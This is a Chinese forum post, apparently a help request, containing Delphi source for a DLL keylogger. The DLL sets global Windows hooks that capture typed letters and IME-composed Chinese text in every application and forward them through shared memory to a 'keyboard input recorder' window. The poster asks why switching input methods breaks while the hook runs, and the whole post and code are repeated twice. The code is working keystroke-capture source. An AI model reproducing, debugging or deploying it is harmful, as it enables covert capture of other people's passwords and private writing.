Z
zqssoft
Unregistered / Unconfirmed
GUEST, unregistred user!
以下是一个键盘钩子的代码单元,可以在截获键盘中输入的汉字或字母及其它键.
但发现一个问题,每当程序安装钩子后,输入法就不能切换了,用鼠标和键盘都不能.
当把程序一关闭,就又可以切换输入法了。
请问:怎么修改,才能在使用钩子时不影响输入法切换???
unit DllUnit;
interface
uses
Windows,Messages,SysUtils,Classes,IMM;
type
PShareMem = ^TShareMem;
TShareMem = record
ShareBuffer: array[0..MAX_PATH] of Char;
end;
const
MappingFileName='_KeyRecord';
MessageID = WM_USER + 100;
var
IMEHook,CharHook: HHOOK;
dwTick: DWORD;
hMappingFile: THandle;
function InstallHook: Bool; stdcall;
function UnInstallHook: Bool; stdcall;
implementation
var
PShare: PShareMem;
function GetTopParent(WinHWND: HWND): HWND;
var
hWndOut: HWND;
begin
Result := WinHWND;
if (WinHWND = 0) then Exit;
hWndOut := WinHWND;
while (hWndOut <> 0) do
begin
WinHWND := hWndOut;
hWndOut := GetParent(WinHWND);
end;
Result := WinHWND;
end;
procedure HookProc(WinHandle: HWND;Msg: Integer;wparam: WPARAM;lparam: LPARAM);
var
hParent: HWND;
Imc: HIMC;
Buffer: array[0..MAX_PATH] of Char;
StrSize: Integer;
begin
hParent:= GetTopParent(WinHandle);
if Msg = WM_IME_COMPOSITION then
begin
Imc:= ImmGetContext(hParent);
if (Lparam and GCS_RESULTSTR) <> 0 then
begin
StrSize:= ImmGetCompositionString(Imc,GCS_RESULTSTR,@Buffer[0],SizeOf(Buffer));
Buffer[StrSize]:= #0;
if (GetTickCount - dwTick) > 50 then
begin
StrCopy(@PShare^.ShareBuffer[0],@Buffer[0]);
SendMessage(FindWindow(nil,'键盘输入记录器'),MessageID,0,1);
end;
//ImmSetCompositionString(Imc,SCS_SETSTR,nil,0,@Buffer[0],Sizeof(Buffer));
dwTick:= GetTickCount;
end;
ImmReleaseContext(hParent,Imc);
end;
if Msg = WM_CHAR then
begin
if (GetTickCount - dwTick) > 50 then
begin
StrPCopy(@PShare^.ShareBuffer[0],Format('%s',[Chr(wParam and $00FF)]));
SendMessage(FindWindow(nil,'键盘输入记录器'),MessageID,0,2);
end;
dwTick:= GetTickCount;
end;
end;
{======截获特殊字符 ======}
function IMEHookProc(iCode: Integer;wparam:WPARAM;lparam:LPARAM):Integer;stdcall;
var
P: TCWPSTRUCT;
begin
Result:= 0;
if iCode < 0 then
Result:= CallNextHookEx(IMEHook,iCode,wparam,lparam)
else
begin
P:= PCWPSTRUCT(lparam)^;
HookProc(P.hwnd,P.message,P.wParam,P.lParam);
end;
end;
{=====英文字符的截获 ======}
function CharHookProc(icode: integer;wparam: WPARAM;lparam: LPARAM):LRESULT;stdcall;
var
P: MSG;
begin
Result:= 0;
P:= PMsg(lparam)^;
if icode<0 then
Result:= CallNextHookEx(CharHook,icode,wparam,lparam)
else
begin
HookProc(P.hwnd,P.message,P.wParam,P.lParam);
end;
end;
{=======安装钩子 =======}
function InstallHook: Bool;
begin
IMEHook:= SetWindowsHookEx(WH_CALLWNDPROC,@IMEHookProc,Hinstance,0);
CharHook:= SetWindowsHookEx(WH_GETMESSAGE,@CharHookProc,Hinstance,0);
Result:= (IMEHook <> 0) and (CharHook <> 0);
end;
{=======卸载钩子 =======}
function UnInstallHook: Bool;
begin
if IMEHook <> 0 then
UnHookWindowsHookEx(IMEHook);
Result:= (IMEHook = 0);
if CharHook <> 0 then
UnHookWindowsHookEx(CharHook);
Result:= (CharHook = 0);
PostMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0);
end;
initialization
{===== DLL初始化部分=====}
hMappingFile:= CreateFileMapping(DWORD(-1),nil,PAGE_READWRITE,0,Sizeof(TShareMem),MappingFileName);
if hMappingFile=0 then
MessageBox(0,'不能建立共享内存!',nil,MB_OK);
PShare := PShareMem(MapViewOfFile(hMappingFile,FILE_MAP_WRITE,0,0,0));
if PShare = nil then
begin
CloseHandle(hMappingFile);
MessageBox(0,'不能映射共享内存!',nil,MB_OK);
end;
finalization
{===== DLL退出部分=====}
UnMapViewOfFile(PShare);
CloseHandle(hMappingFile);
PostMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0); {====确保钩子退出其他线程====}
end.
但发现一个问题,每当程序安装钩子后,输入法就不能切换了,用鼠标和键盘都不能.
当把程序一关闭,就又可以切换输入法了。
请问:怎么修改,才能在使用钩子时不影响输入法切换???
unit DllUnit;
interface
uses
Windows,Messages,SysUtils,Classes,IMM;
type
PShareMem = ^TShareMem;
TShareMem = record
ShareBuffer: array[0..MAX_PATH] of Char;
end;
const
MappingFileName='_KeyRecord';
MessageID = WM_USER + 100;
var
IMEHook,CharHook: HHOOK;
dwTick: DWORD;
hMappingFile: THandle;
function InstallHook: Bool; stdcall;
function UnInstallHook: Bool; stdcall;
implementation
var
PShare: PShareMem;
function GetTopParent(WinHWND: HWND): HWND;
var
hWndOut: HWND;
begin
Result := WinHWND;
if (WinHWND = 0) then Exit;
hWndOut := WinHWND;
while (hWndOut <> 0) do
begin
WinHWND := hWndOut;
hWndOut := GetParent(WinHWND);
end;
Result := WinHWND;
end;
procedure HookProc(WinHandle: HWND;Msg: Integer;wparam: WPARAM;lparam: LPARAM);
var
hParent: HWND;
Imc: HIMC;
Buffer: array[0..MAX_PATH] of Char;
StrSize: Integer;
begin
hParent:= GetTopParent(WinHandle);
if Msg = WM_IME_COMPOSITION then
begin
Imc:= ImmGetContext(hParent);
if (Lparam and GCS_RESULTSTR) <> 0 then
begin
StrSize:= ImmGetCompositionString(Imc,GCS_RESULTSTR,@Buffer[0],SizeOf(Buffer));
Buffer[StrSize]:= #0;
if (GetTickCount - dwTick) > 50 then
begin
StrCopy(@PShare^.ShareBuffer[0],@Buffer[0]);
SendMessage(FindWindow(nil,'键盘输入记录器'),MessageID,0,1);
end;
//ImmSetCompositionString(Imc,SCS_SETSTR,nil,0,@Buffer[0],Sizeof(Buffer));
dwTick:= GetTickCount;
end;
ImmReleaseContext(hParent,Imc);
end;
if Msg = WM_CHAR then
begin
if (GetTickCount - dwTick) > 50 then
begin
StrPCopy(@PShare^.ShareBuffer[0],Format('%s',[Chr(wParam and $00FF)]));
SendMessage(FindWindow(nil,'键盘输入记录器'),MessageID,0,2);
end;
dwTick:= GetTickCount;
end;
end;
{======截获特殊字符 ======}
function IMEHookProc(iCode: Integer;wparam:WPARAM;lparam:LPARAM):Integer;stdcall;
var
P: TCWPSTRUCT;
begin
Result:= 0;
if iCode < 0 then
Result:= CallNextHookEx(IMEHook,iCode,wparam,lparam)
else
begin
P:= PCWPSTRUCT(lparam)^;
HookProc(P.hwnd,P.message,P.wParam,P.lParam);
end;
end;
{=====英文字符的截获 ======}
function CharHookProc(icode: integer;wparam: WPARAM;lparam: LPARAM):LRESULT;stdcall;
var
P: MSG;
begin
Result:= 0;
P:= PMsg(lparam)^;
if icode<0 then
Result:= CallNextHookEx(CharHook,icode,wparam,lparam)
else
begin
HookProc(P.hwnd,P.message,P.wParam,P.lParam);
end;
end;
{=======安装钩子 =======}
function InstallHook: Bool;
begin
IMEHook:= SetWindowsHookEx(WH_CALLWNDPROC,@IMEHookProc,Hinstance,0);
CharHook:= SetWindowsHookEx(WH_GETMESSAGE,@CharHookProc,Hinstance,0);
Result:= (IMEHook <> 0) and (CharHook <> 0);
end;
{=======卸载钩子 =======}
function UnInstallHook: Bool;
begin
if IMEHook <> 0 then
UnHookWindowsHookEx(IMEHook);
Result:= (IMEHook = 0);
if CharHook <> 0 then
UnHookWindowsHookEx(CharHook);
Result:= (CharHook = 0);
PostMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0);
end;
initialization
{===== DLL初始化部分=====}
hMappingFile:= CreateFileMapping(DWORD(-1),nil,PAGE_READWRITE,0,Sizeof(TShareMem),MappingFileName);
if hMappingFile=0 then
MessageBox(0,'不能建立共享内存!',nil,MB_OK);
PShare := PShareMem(MapViewOfFile(hMappingFile,FILE_MAP_WRITE,0,0,0));
if PShare = nil then
begin
CloseHandle(hMappingFile);
MessageBox(0,'不能映射共享内存!',nil,MB_OK);
end;
finalization
{===== DLL退出部分=====}
UnMapViewOfFile(PShare);
CloseHandle(hMappingFile);
PostMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0); {====确保钩子退出其他线程====}
end.